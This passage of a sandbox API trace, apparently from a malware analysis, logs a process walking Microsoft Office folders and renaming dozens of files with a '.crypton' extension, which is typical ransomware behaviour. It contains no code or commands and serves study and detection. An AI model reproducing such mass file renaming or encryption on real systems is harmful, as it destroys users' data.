office\\office14\\microsoft.office.businessdata.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml.crypton"), dwFlags=0x2) returned 1 [0109.135] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml.crypton"), dwFlags=0x2) returned 1 [0109.460] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml.crypton"), dwFlags=0x2) returned 1 [0109.642] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml.crypton"), dwFlags=0x2) returned 1 [0109.977] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msacc.olb"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\msacc.olb.crypton"), dwFlags=0x2) returned 1 [0110.262] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msoutl.olb"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\msoutl.olb.crypton"), dwFlags=0x2) returned 1 [0110.500] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msppt.olb"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\msppt.olb.crypton"), dwFlags=0x2) returned 1 [0110.794] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msprj.olb"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\msprj.olb.crypton"), dwFlags=0x2) returned 1 [0111.081] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msword.olb"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\msword.olb.crypton"), dwFlags=0x2) returned 1 [0111.115] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\ocrhc.dat"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\ocrhc.dat.crypton"), dwFlags=0x2) returned 1 [0111.143] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\ocrvc.dat"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\ocrvc.dat.crypton"), dwFlags=0x2) returned 1 [0111.207] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml.crypton"), dwFlags=0x2) returned 1 [0111.265] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml.crypton"), dwFlags=0x2) returned 1 [0111.274] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OneNote\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbfaf5b60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbfaf5b60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0111.277] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml.crypton"), dwFlags=0x2) returned 1 [0111.322] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml.crypton"), dwFlags=0x2) returned 1 [0111.352] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.vbs"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.vbs.crypton"), dwFlags=0x2) returned 1 [0111.818] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat.crypton"), dwFlags=0x2) returned 1 [0111.833] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc0050ce0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc0050ce0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0111.960] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml.crypton"), dwFlags=0x2) returned 1 [0111.965] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml.crypton"), dwFlags=0x2) returned 1 [0111.968] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml.crypton"), dwFlags=0x2) returned 1 [0111.974] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml.crypton"), dwFlags=0x2) returned 1 [0111.977] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml.crypton"), dwFlags=0x2) returned 1 [0111.980] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml.crypton"), dwFlags=0x2) returned 1 [0111.984] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml.crypton"), dwFlags=0x2) returned 1 [0111.987] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\prodigy.net.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\prodigy.net.xml.crypton"), dwFlags=0x2) returned 1 [0111.990] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\rogers.com.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\rogers.com.xml.crypton"), dwFlags=0x2) returned 1 [0111.993] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\sbcglobal.net.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\sbcglobal.net.xml.crypton"), dwFlags=0x2) returned 1 [0111.998] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\snet.net.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\snet.net.xml.crypton"), dwFlags=0x2) returned 1 [0112.001] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\swbell.net.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\swbell.net.xml.crypton"), dwFlags=0x2) returned 1 [0112.008] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\talk21.com.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\talk21.com.xml.crypton"), dwFlags=0x2) returned 1 [0112.012] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\wans.net.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\wans.net.xml.crypton"), dwFlags=0x2) returned 1 [0112.016] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ca.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ca.xml.crypton"), dwFlags=0x2) returned 1 [0112.019] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.id.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.id.xml.crypton"), dwFlags=0x2) returned 1 [0112.023] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.in.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.in.xml.crypton"), dwFlags=0x2) returned 1 [0112.027] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.jp.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.jp.xml.crypton"), dwFlags=0x2) returned 1 [0112.030] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.kr.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.kr.xml.crypton"), dwFlags=0x2) returned 1 [0112.033] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.nz.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.nz.xml.crypton"), dwFlags=0x2) returned 1 [0112.038] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.th.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.th.xml.crypton"), dwFlags=0x2) returned 1 [0112.041] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.uk.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.uk.xml.crypton"), dwFlags=0x2) returned 1 [0112.045] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ar.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ar.xml.crypton"), dwFlags=0x2) returned 1 [0112.049] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.au.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.au.xml.crypton"), dwFlags=0x2) returned 1 [0112.052] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml.crypton"), dwFlags=0x2) returned 1 [0112.055] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.cn.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.cn.xml.crypton"), dwFlags=0x2) returned 1 [0112.059] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.hk.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.HK.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.hk.xml.crypton"), dwFlags=0x2) returned 1 [0112.062] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.mx.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MX.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.mx.xml.crypton"), dwFlags=0x2) returned 1 [0112.065] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.my.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.MY.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.my.xml.crypton"), dwFlags=0x2) returned 1 [0112.068] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ph.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.PH.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ph.xml.crypton"), dwFlags=0x2) returned 1 [0112.071] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.sg.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.sg.xml.crypton"), dwFlags=0x2) returned 1 [0112.075] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.tw.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.TW.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.tw.xml.crypton"), dwFlags=0x2) returned 1 [0112.078] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.vn.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.vn.xml.crypton"), dwFlags=0x2) returned 1 [0112.081] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.xml.crypton"), dwFlags=0x2) returned 1 [0112.084] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.de.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.de.xml.crypton"), dwFlags=0x2) returned 1 [0112.087] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.es.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.es.xml.crypton"), dwFlags=0x2) returned 1 [0112.090] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.fr.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.fr.xml.crypton"), dwFlags=0x2) returned 1 [0112.093] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.hk.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.hk.xml.crypton"), dwFlags=0x2) returned 1 [0112.096] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ie.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ie.xml.crypton"), dwFlags=0x2) returned 1 [0112.099] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.it.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.it.xml.crypton"), dwFlags=0x2) returned 1 [0112.102] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.jp.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.jp.xml.crypton"), dwFlags=0x2) returned 1 [0112.105] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.no.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.no.xml.crypton"), dwFlags=0x2) returned 1 [0112.108] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.pl.xml"), lpNewFileName="C:\\\\Program 